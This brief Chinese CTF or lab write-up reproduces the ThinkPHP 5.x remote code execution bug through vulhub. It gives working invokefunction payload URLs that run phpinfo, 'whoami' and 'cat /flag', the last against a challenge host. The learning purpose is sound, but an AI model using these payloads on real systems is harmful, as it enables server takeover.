ThinkPHP 命令執行漏洞5.x < 5.1.31, <= 5.0.23
參考:https://www.cnblogs.com/backlion/p/10106676.html
這是一個遠程代碼執行漏洞,先學習vulhub復現這個漏洞的過程:
輸入:http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,可執行phpinfo:
拉到頁面底部,看到ThinkPHP的版本是5.0.20:
可以執行phpinfo,那可不可以執行其他命令呢?查了一下網上的payload,如下:
輸入:http://your-ip:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
返回:www-data www-data
http://220.249.52.133:49560/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag 得到答案